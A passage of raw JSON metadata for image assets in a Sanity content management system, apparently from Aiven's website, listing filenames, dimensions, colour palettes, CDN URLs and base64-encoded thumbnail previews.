pTH4Hmpno0mzuovJqhmMJOilUNU2Y7Un7nJIoaJzCh+jJWpldTX1jcn8/8QmPINWg2wTIA6pk+eSV2sWvIzBp9YnKks8pPsM1QS+aODpTVaSnu6w76vPYWpZke477WccxoGsUv5ZeQEZTjta2RF3B9QPg/XrtmksNH/2fIsnSxM8nMuvGowYl+qvFHnbIcm1taSKHSYYqkkXjl51Ag78e9ij7KUPRhXtkP1MIv+OfGptAj5L3V94JPqjWBHABPLQHL4cUvYxfbnw6xjo8YVjw7WhWKdbJSNBiNqNHpqaBMhenFBiwoVqMspwTVIjG2JmRQb9hntx9uCpTQho+cFZx1QNt8AdBoD3K9GKiLtfRZ62LxFY33QKtMgHVyGer1ejSZTKjTG9GgkGFPUTJeif8AByO8aSjI99HDLR8euejzcfjm1buXAoc/K8sjFMDS6jDVSaBjL9ncMXA9j8l3StU1kr8Yleq5Wq0mvU5LXUYFXahJo/uZ79Nk9AqkEJcxCnDvubvJJ2GjW2Q4cHl84PLWzOTGWMGTZmd4L+X81L+hRxbwCnMw16tOLstnGOZHhUIxWC8rGz9ZmTBxT+z15HnC6yMY5fynJczFSEFuEW1+m9+04fK2A5eXA1yeD3BirYHM9nBcFQG95uRpaGmV2pZhmDdUKmWQTFYt1pdlMX8U+DVPiBY2UJxdBe5xjLdErPSmEO58P49wG+DGOgGXtxo4sSzg8gCofT5c1XrCoMkdqHu6mfDwRDbI5XLbg9KKRR37+atu5nLetQhnv03x85ZgDHsuRTlaWfzdgEJXwo0PNwJw+AAufABOLPwL1MBZZUOsxRgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#354957","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#052c84","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fba613","foreground":"#000","population":8.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abb4ca","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cccfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c866f","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fba613","foreground":"#000","population":8.43,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Event_driven_solutions_inline_image_update.png","path":"images/sczeoy4w/production/7bf9890e687805d9fa9ada390c5d0d7481779040-2500x2500.png","sha1hash":"7bf9890e687805d9fa9ada390c5d0d7481779040","size":1078415,"title":"[Map with routes marked in binary]","uploadId":"xNMwjDvctq1pV9ngz11DAPRTdTYOYUIV","url":"https://cdn.sanity.io/images/sczeoy4w/production/7bf9890e687805d9fa9ada390c5d0d7481779040-2500x2500.png"} {"_createdAt":"2023-05-22T10:10:25Z","_id":"image-75492381cbf354fe698bf05722fdecc374e1600f-899x498-png","_rev":"IpnbDuG6FYGmZQ2TBN61ox","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T10:11:16Z","altText":"Crab Week hosts' selfie with all Aiven employees","assetId":"75492381cbf354fe698bf05722fdecc374e1600f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8052208835341366,"height":498,"width":899},"exif":{"ColorSpace":1,"PixelXDimension":899,"PixelYDimension":498,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC+UlEQVQokR3QaU+aBwDA8efF9mJHsr1sY2YKgnI+hzzcInLVVqCgAgKVIpcWUOe9qq14ZBEXU7e6ljax2mXd3qy165K+aLMjWdzxrf5L9vsIP2HI4ydxLUWzOsfx4T4/fveYdvs+6dwqXm8Tj7JEQF4hpFbJp6e5f9jmSecBlWoTo5Lg4+4m7/X8wPuGcz7QbCIM2EKEvVFS0Rz1qTpLs0uUi7cZjmRwqmkUUwqlN45qvk7QlyCfrTE5OcvQ0DgafYRPu6b4UPs1HxmO+aT7NkLAWSDsuUk8cIvUcJnkcIGrgSyD7gk8tklcYh6XKY3LPIpHSeB2JLCrSUTLDfp0STRXCnRpFrmkXeRyVx7B55gh5Jvlmr9B3FNm1FlixD1P0LNOyL1JbGCPEeeXDErLDIg1/NItAtIEAWsBr2UO1biBrecuYvcyuss1BFnM47RXcPXfJGDKMG6uEVc3iPoPqESOuBN7RiH8FHd/C691hUx/ixVXiz3HPablHUKmffw9ezg/W0B7qYwgmkZRLGmkvjiKNoZXn8cnNcj4W3wbPeHnGy9ZCz3Aa/scj7JIwdXm2N/hN98JZ/ZvyJnWsOvrWMQ5tM4FBJuUQhUn6DePIxkSiIYxVHOWonORF8EzLoI/seO6h1/Kocp5Yo459n1tLgbOeOd6QlNaQVbqWFKPcaz/imB3lVHtZWxqEcU2iShmcVgmmJJn+N5xxC/qQzbkWcJyCsk6htdWZjlywKvgKW88p6y7D/ENbtFfPMW78weCRZrBbK1htlYwmkuolhoJtUFDnuHIsk7HvMWqOE1GLaIasziUBvWxpxwnzzkJnLMbeU3u6nPc4SP6gtsIel2VPn0Vva6Esaf0f/pBqMO2bY3t3jrt3nl2LU1ajjXihhousUk1+Yyt1Dt2Rn5nK/oXy7ELcoGXuKWvEHSaEr3aEjptAVlX4Y73Ea+jbzhUt/lCU2D3SpGHxnme29uUDQt4jDXK1ztsJt9yN/Ynm9G/2Yj+y+rIP5TDb/kP1Oq2Bpj4wGYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e304d","foreground":"#fff","population":6.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac0643","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5b4a97","foreground":"#fff","population":6.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0cebe","foreground":"#000","population":1.89,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef5ce7","foreground":"#000","population":1.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b4a97","foreground":"#fff","population":6.4,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1329e0","foreground":"#fff","population":2.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Screenshot 2023-05-16 at 16.21.41.png","path":"images/sczeoy4w/production/75492381cbf354fe698bf05722fdecc374e1600f-899x498.png","sha1hash":"75492381cbf354fe698bf05722fdecc374e1600f","size":831414,"title":null,"uploadId":"F6Irv1Nr75KjMAlTSmwcEnApTJdkNISD","url":"https://cdn.sanity.io/images/sczeoy4w/production/75492381cbf354fe698bf05722fdecc374e1600f-899x498.png"} {"_createdAt":"2022-10-07T06:22:18Z","_id":"image-a81c759f842b3d14c534c16e6cef3d25758aa474-800x800-png","_rev":"NQmZ8r2evnRSWxI4aiJAWt","_type":"sanity.imageAsset","_updatedAt":"2022-10-07T08:49:39Z","altText":null,"assetId":"a81c759f842b3d14c534c16e6cef3d25758aa474","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eRNTXoRP.m%hxF00s:IoIojF00tRDhMxxu9Za|e-ogRjE1WCn*oJWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE10lEQVQ4jWWS208UVxzHD7089aVPbcSkfWj60j+gL23TNG2q1aKxNo1aKqixlaa1VEURYzUoyNVdEJb1goiCXARRIBgWWFZgAfcC3fsFdhf2CuwOe5kZ113o+TY7qAU7yXcmcybfz/n8ToYQQkh+zi8kY9decnT/PgL1EXLqcHZabta+t3P27P744K6MI1k7t53ev+ObbZnfbnnnwHc7XgNAfvj6C5K9excpPv4H2XCxXJLw8VVSdbGQLPQ1kd8OHSQFh7M2nTn8U+aZQ5nNp7L3TuXu223K+T6j5+COrbl7tnz50bbPPnnzg/R3ye9ZmcRmcwqMFyEcnySxWJzoVeq01M7FeX++VXn81511+Uf7b58/GWspKqANf+VR8bGceEH2Xv2BjK2nMz7/9L1RpSbN43Cmzc/70lKMFxFuiRUQChCfWUeKj/78fsO5E+V9osIlze1aWDsbqeleA524WY3mwlPJMwd+HMjcvuWrNwh5fWh4jKQkNgK5ZHqMfZYej6+mBxbDm5uqKra3l57tn6gXJZzddxEY7KaLQ93U3ddGx+rFuHr2pL0kP++YcmT8QwpsikT5zRyfTE9xUiEslyhhuUQp/3SlJBSKlil6e1rui4rnR6+LqK2rGZ7+LuobeEDn+troRGMtWiovhXva2mV+f1DEx1eF7nOGkJQmw3IJhuNXGIaJMprh4VinuDT5oKyQjtfXwNB2i07frafapmt0sK4SLZfLVsdkQ1woFFnmnq4I3bV+UkhqZLBcAhy/gjAThUk5Cpm0Cr0VRXRUKoamUYqRq9UYlorxqOoS7RKVQjs4hOVQBBy/1hX6XFII4fgEZbkE5fgVGmai1DY+SkeuX6Hy6jKqulELQ/NNqmuup9rbUjpSVwHFtRpqn5ikkWWWcnzyn1R3rb+W1MgbDHUKObrKL6D9XD4GROWYuCaBql4C9c0reHJLAkPfQyw4XGBj8Y2GfFLIOmAS4TALvXIM9you4k7BCXSXFGGw6jJkohIMVF+CuqMZHrMZ0TD7EsSug/0PGGPjcFosGLxzA73lRVBUi6G8Wgd5bSVkNaVQPeyA3+UGy6bO7D8guw5MXl1YWghCPTiAR5JqyGvEGLsugVwqglx6GZP32+GyzCIS3Tgu+7yber40fLEYjcVh1RnRWSdB4/mz6Cy9gP6aSky2NsGoUGLO7gPD8ILlehCbCp/YaJhKNPYMNqMdbZI6SE/noaO8GMrWVtjGp+C2BuB1hbHgi4EJ8YJp7BUwefnCJrC8zMM9H4RyWIMmsRRNpWVQtHbCqjLDMxuC1xmBx7EMt4OBx8XA7w0jGGQF8PozpDH2GQ0GWeqYCUAzYUNvx2M0SVrR1fAA4zItZowBeBwRuGcZzNmDcFoXMWPyw27yw2lfpH5fGOHwU+F/FAxDIRaz9gC0kzMYGdRD1qOCrFuFx/06TCgsMGjdcFqW4LItwWlZhN3oh3naDaN2HqZpN+zmAPX7IohG4yCRaJy650JUr3XRJ6NWKOVGqhw2YfqJC8ZpL/TqOZim3Jg1L8BhSZkFYPnbA4NmTvhmnHJTi94L1+wSDQVZShiGozNWP51WOahaacPkYwtVK+0w67yYMS/CZvDDbvDDYV7ArDkAm8EnbKBTu6DXzsOs81CrwQuHdYH6vWH6LwoL6q5m46rzAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e3934","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c2c24","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4e3934","foreground":"#fff","population":0.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c29ba6","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e498a4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46463","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf4d3f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"jani-asikanius.png","path":"images/sczeoy4w/production/a81c759f842b3d14c534c16e6cef3d25758aa474-800x800.png","sha1hash":"a81c759f842b3d14c534c16e6cef3d25758aa474","size":552446,"title":null,"uploadId":"nVoUtGtylZKbRtkWrsVG0dA2XSF39biR","url":"https://cdn.sanity.io/images/sczeoy4w/production/a81c759f842b3d14c534c16e6cef3d25758aa474-800x800.png"} {"_createdAt":"2022-10-25T11:15:49Z","_id":"image-0cf44ec100f51e0ffe59fefd98380e906e0384b2-960x540-png","_rev":"VpqI6rTG30oq7pRBY3pil9","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T11:15:49Z","assetId":"0cf44ec100f51e0ffe59fefd98380e906e0384b2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLS$M-n4%#x]S2.mkqQ-ayjFv~niNGV@t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":540,"width":960},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB2ElEQVQokU2S/08TQRDF+///ASYoEkMgKP4BokCggq18Ca0RIyppoYAEerm73dudnZ2ZnTV3xYT5bV7yydv3ZnvKLEVBNzdijKaUc86qmpKIMLMQJYpZ5L+cRKQVEVWkl0TQ2ObhAeqaMSgGBS/gQwjee6xrqStFXHCIETyEquL5Y/K+p6ocyTWNretQt6pMJzybobUAgI1lY9g2AiBEiOi9D8ZwWSaAXs5ZRAIAWBOsCfNHuLiAX7+hqmKMTNTaGYvGcIxPWZiVOafUOhNRsDaWJTmH3ruieLi+nl5e/r27K4q5NQYBGDGJqGpbSldAzvkJjs6xMRKCiGDE6dW03+8Ph8PxeDyZTJxrUpIF8HzaZydh8U6cTV1V0Tf3s+vx6fH5ePTn54/bq6mrSwGnTJqSdvMMNlX8PsKzIzwfhZMv8O20ORmUh3vm9Ksdfm7OjmB0jGdHdH9LiETEzKk7ai+rys3Mbaw1K8v+/dtm6YXfWIfVN/D6JWy+c8tLfmPNr6+6lVdhPELvQgiIyMyq2jnPC9w/CNu78XCAHz5R/5B29+PWTjwYhK3t2D/AvX74uEOT6cKZiKQrr4UzsxqbKqOmSWWtxmpttOzWql1TbVs9tF9lkXkR+x/u32g93flDFAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#565656","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c01923","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f34a50","foreground":"#fff","population":4.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3c5c4","foreground":"#000","population":1.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#727473","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f34a50","foreground":"#fff","population":4.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0cf44ec100f51e0ffe59fefd98380e906e0384b2-960x540.png","path":"images/sczeoy4w/production/0cf44ec100f51e0ffe59fefd98380e906e0384b2-960x540.png","sha1hash":"0cf44ec100f51e0ffe59fefd98380e906e0384b2","size":27913,"uploadId":"vftYcp0CORE1nbG25AnQmC4YgkYmXPXD","url":"https://cdn.sanity.io/images/sczeoy4w/production/0cf44ec100f51e0ffe59fefd98380e906e0384b2-960x540.png"} {"_createdAt":"2022-10-25T11:16:13Z","_id":"image-8e728173a02258d2d9aa538db9ad1e31350069b0-960x540-png","_rev":"HOg1ic6qdNWBF4MCQEwZLn","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T11:16:13Z","assetId":"8e728173a02258d2d9aa538db9ad1e31350069b0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MESPR%RP%f%grs~VxaMxVsNZS#WBenjut6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":540,"width":960},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACCElEQVQokW2R22oUQRRF+/9/Jm+iKKJgVFA0kguaZMJkiDOTnq6+1P3WvbRqEvDBh0VBndq7zj6nSUIQNxtS17GkxAIsy1LPeZ5JKZFiJIVADoF5zsf6spBzrvVyn71nTonGK4V+bNFC4K0llYJ3zM6RrMVojZIS2wtiL0jOMudMTglrba2Zon3cE6eJpvzgrGWaJqZxrMLwuCfdrQj3a/QwIItoGHB9X/FSEpxDa804jkghcIeWICVNiRVCqD9NQqCEQG+36MtLzK9r7DjhrMMXjK1JVNfVNCHEqo0hkEKsXTcpZax1qGHAtC1mHNFSIdsOdRDobmK8bRlXB+xkq7kzjhgTOS/M8zNl5gtNjBljiuGIET1OGXxIFecj8qFn9+aK7dufyP1ETGVRMykv/6UpD6qBj3hXIiRCzISQq6FqJw7f17Q/NiihCDFRmii6f0lPNCHOFEyIHIxkLyfuD5Lrh4Hdesdws6bf7BGdpJOOVgdGG3H+mCI8mad8pPGhdDizk5LT31e8X5/z+mLNyYcVZy8/sT95we7bJQ8HxXXv+dw6bgePsh7rPD7E2lmel0rjfMb7zE5O1fB0c8mXuy0fL7asTs/oXr2jPb+h7Q3rMfD14FmNAWl8nX0ZVenseTlNMStoFxBaV6QJKB0wg8Z243G7LmFcZrIJZRPWpXpXZv08v/w38h/JZkyHa0bQ2wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#643460","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9171f","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9171f","foreground":"#fff","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0c9b4","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7aae3","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#639095","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da102f","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8e728173a02258d2d9aa538db9ad1e31350069b0-960x540.png","path":"images/sczeoy4w/production/8e728173a02258d2d9aa538db9ad1e31350069b0-960x540.png","sha1hash":"8e728173a02258d2d9aa538db9ad1e31350069b0","size":106492,"uploadId":"HorcvIeQMSIyt1N6QZqdhb44WXp309d8","url":"https://cdn.sanity.io/images/sczeoy4w/production/8e728173a02258d2d9aa538db9ad1e31350069b0-960x540.png"} {"_createdAt":"2022-10-25T11:18:16Z","_id":"image-da25b2bb165a8ab255e870ef500f17159006e276-1300x1028-png","_rev":"HOg1ic6qdNWBF4MCQEwkZT","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T11:18:16Z","assetId":"da25b2bb165a8ab255e870ef500f17159006e276","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5Rp8-D+Q.~W_N00noDiaJx^00N0Di%1Nx00kE9FRix^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.264591439688716,"height":1028,"width":1300},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACVElEQVQokX2Sy08TURTG5x8z0ZAoCAmJkBBjVNbGve7cGNmocSEagzLUFi2Y4MaFCFoUaUyMCxeKDyIF2mlphplz38+ZMXfaIhD1l5PJzL33O+d85453enR8cHR84Mz5vqGzx06NDIxcuHptYqrwpDA775fm/GJ5uvjUL5b9wsztG1cunhs+cbL/eP9w3+BY39CYVyovFPy5hzen701MTd71H/ilZ89fLC6vvF55X1mtVlarb96tVVarb1eWlhbulCcvP7p1afr+9ZnHxZnSvNfeDRuff/2crX4prn3/sP5jY3Njs7ZZ29raqe8EQT1o1oOgETRbze127WPw7WVjfbFV+9RuNdrt0JNC0u0wXF7fffU13GjtxShGCBACjJELgjDGmFBKOSOcAWcgOJVCKKU8qZQgnDQjqIcECBeSSyl6wcWfd6m0VEa4p5ZKKa29JEm0tVRwIIRw5hJqrXQPY6xNrLXGdtFuxSY5XpZl2hhESRjHIUCMECZdKKWunDHaODpilyxJshwvTVOtNSC0F0V7cRxFURQ7AABhzDhnQrg0lLIczrkxJk1TJ3aVtUYIAUB+grt9IaRr37XNOI+hmw7AmdNaHxIDQBTHlDKlVMeS28yyNE2llJ3UbuiESCmttYfFCEVRRChVSu1b6oiNMUopN2zletlXHmo7BqCMSSnNgXkmSZok6RGyHr1pY+z8UOomlHvmwqG17jn4C16aV8YYQ35JR4ILYQ+4OCrOsswYQyhFhBDGaB6dT0QI5dza/4qttYxz7H7fbsOUMUQIdMX2X+Lf75VpxeUnl8kAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#29345c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#483804","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e6a51e","foreground":"#000","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6d894","foreground":"#000","population":0.11,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e5082","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6a51e","foreground":"#000","population":0.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"da25b2bb165a8ab255e870ef500f17159006e276-1300x1028.png","path":"images/sczeoy4w/production/da25b2bb165a8ab255e870ef500f17159006e276-1300x1028.png","sha1hash":"da25b2bb165a8ab255e870ef500f17159006e276","size":179266,"uploadId":"IgtwttVQd83Ml8hVHXFdihC4jptcWRGg","url":"https://cdn.sanity.io/images/sczeoy4w/production/da25b2bb165a8ab255e870ef500f17159006e276-1300x1028.png"} {"_createdAt":"2022-10-25T12:38:27Z","_id":"image-964398e1e93c79b8bc54b80a44cbdece0f8c8d27-886x498-png","_rev":"VpqI6rTG30oq7pRBY48YqM","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T12:38:27Z","assetId":"964398e1e93c79b8bc54b80a44cbdece0f8c8d27","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbRL|YNH-=xVX-X+Szs;jGWB.Ts.RPXAiv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7791164658634537,"height":498,"width":886},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACWElEQVQokTVSW0/aYBjuv92W7GLJnMsyTZYsczNxiXHbxQwegDhAq0YMCIjJHHLSwlRKBYp0lB5obQtf+Xqg5WsXYXvyXrzP4eLNkxfzfd/zvX+YLq4FdZkf8J0BzwwEZsAzutRzTd330CzrI9dHE9/zsAmajCyg6KKiiyqUVCjJA67Ltxiu0RVoVqT5PqPJPVNlnUFvAmVkDicqi7Se75gYtHWSvcxWomdELHdznK+d5H4nUuW942okSUZT1G6xnenRvxQiOiwGDCphC5TZKtjtEoIaNjS1fPNk5/RTJLkcP11PnAXjme1Q4sv37Mf1/NJGcTle3WwSESn57mH/Ocitmt0q5O4MvjWxIGY6sCVc58n4xfVRicyUa9k8kUpd4ImrWJrE0/WDi3qyU9lVEgsa/kQ/X7HZii00x30a2RBzHRvInNSu9ekbqV2T6FuuXm1VC/TtZYeq0iTBUBWpeqwkF1X8mX7+2eyUzGbeapeQoWEOAGq+wIWCwmZA2t6StrZ6gcBdYIP8ESUju9TmNoPH5POYmlzU8Kf6zxWzS8Bew+Dpx7MdWZYPDpiFBWZujn09351/1Xz58urN29LKKrH6rfZ+6c/XNSW7o2U+qIcvQG7NYis2R42FJrIg5gIAymU5GpVDITkclsNhPhhsB0P3e/vs4ZGwh6vpk1G9AMn4iNgxGmmTrxuNnNUqPraNXHc8HNqSZIvibCxBgBxnCIIlila/P1YUZzR0oewA0QYS1KQh2wT8vWsZmOd5CKH/LzbFlM7EqTFzEULIdcbmCOjqgw6A67p/ARXpLLwwqp6vAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d583d","foreground":"#fff","population":1.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a380a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4d583d","foreground":"#fff","population":1.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6bdcf","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc47c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad6d5a","foreground":"#fff","population":0.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec6f17","foreground":"#fff","population":1.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"964398e1e93c79b8bc54b80a44cbdece0f8c8d27-886x498.png","path":"images/sczeoy4w/production/964398e1e93c79b8bc54b80a44cbdece0f8c8d27-886x498.png","sha1hash":"964398e1e93c79b8bc54b80a44cbdece0f8c8d27","size":17197,"uploadId":"PrK7T5enlbtHxPvdmVyqDWypLbO8We1E","url":"https://cdn.sanity.io/images/sczeoy4w/production/964398e1e93c79b8bc54b80a44cbdece0f8c8d27-886x498.png"} {"_createdAt":"2022-10-25T13:45:49Z","_id":"image-46fba0a558a9ea83cad48a5f94aacbbc00963df0-900x1553-png","_rev":"5bUXdgV32oM3gpmcHXpi5k","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T13:45:49Z","assetId":"46fba0a558a9ea83cad48a5f94aacbbc00963df0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"cqR{rJt6tARiayt9o,fRogs+fPjXs~fQjW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.5795235028976176,"height":1553,"width":900},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAjCAIAAAAblL1PAAAACXBIWXMAAAsTAAALEwEAmpwYAAAF8UlEQVRIiYVVW28bxxVejpXGD2361sfCaBGgiASxAgq0QP9DzH9QSQEKFEUf+tL0AvSp6EubwkCdWBBZt3VvsRzbcUS7daxeDFuJItEUJZG6UqZELs3l7s7uzuxcd2aWxS7lICgM9MNgcc7M+fY75+zuWWv0ImitCIkRihCKKCVa6xeGWS/cpZR1OqfN5l6zuXfa7THGR6M0X/+frDlHJyf7tdqjWu1xr9cWgqapebFymiN3x2Yg+eN+98rGxz9d/+hndveq4I00JeOzzwSPLGOMEIIxliQySSRjMYsfBYPv7da/vrpyYXXlwt7mtwL354LvSMmllM+DkzRNLUrp3t7e2tra3t7u0dHRk9p/1ld/tP7w1Q/fn/jnMlhdAa3ay0c739jd+VWj8bjVam1vb9Xr9eFwaIyxHMe5cePGpUuXlpaWbt167523f/L2pWLl8vnLvy5c/2Oheqvw0cPCg+oX/vS7b/7mrR9eWbiyuLhYLpdbrZbWOiPfvXt3aen6gwcrd+7cuvb7H9z+25dv/gWUfwve+/O5m38FHy4X7r9/7vq1V9+5/P2FhSvlcvnq1avNZlMpZTHG7Aw92+7v77f2W5V++9ud5vnN1fM7n3xxe+38bg20t145al5sbt3YzNFoNBzHyZTHDYtjHIah57kh3CTwTeJ8BfVfifpfivqfR/3PYWcqhm9B79AZOBBCjDHnPGtYmqaUUs/zwjCM45iQgOIVCmeZ9xrzvkqGF7DzNex9F0erKAqjMIrjmFIqhBiTDecsikJKSZJBSuHy+J7Av5D4TR79mEa/pOgeIY7gQkohBWUMSynS1FijkdFaSSk553FMMSZxHGPkYHSAURNHOxjtx9jBOM6OCBEcK0WMkaNRRo7TNFYKRZFj253u6bFtd+ze0173uNdrd7uHdu9w8Oykb590u8f9fieKnikVpCkejWIrTZZSuaTFuwRdg27ZH5ahW4HDsu8sZvZwEbqLgVuBbsXL7ApB15R4N2MlS1YSzYhghvkzFBbxcNrvT2OvKIIih0UZFEVYJLDIYJHC6cCZRu40C4rEn2FwJolmLOaC/gHYXgP79cJuLXsfj3cAHpwLui9R91zYBwcN8OwI9A7Aw/uFzY8LdruwswHaW4C6wKJDsP8E/OM2eHS/sPZvcPcmaK6DwJ541n45GkzYbfDwPtirgdYG+MNC4d7twu5W4V9/B7VHADvAEj7wOuB4G/T2M4X2NvBOAB1O+KcvhfaE2wFHW2B4DIZPQX0VHDaAewo6LdA/BMwFVhJNyWBSBpNJmC0ZTCXRVBJOUXcKDabwYJJ6UzKclOFrHE6KPEycxU9ZRlQMXzS8rHhZ80rm5kvzSkKzZXglFYtGLJjsmrn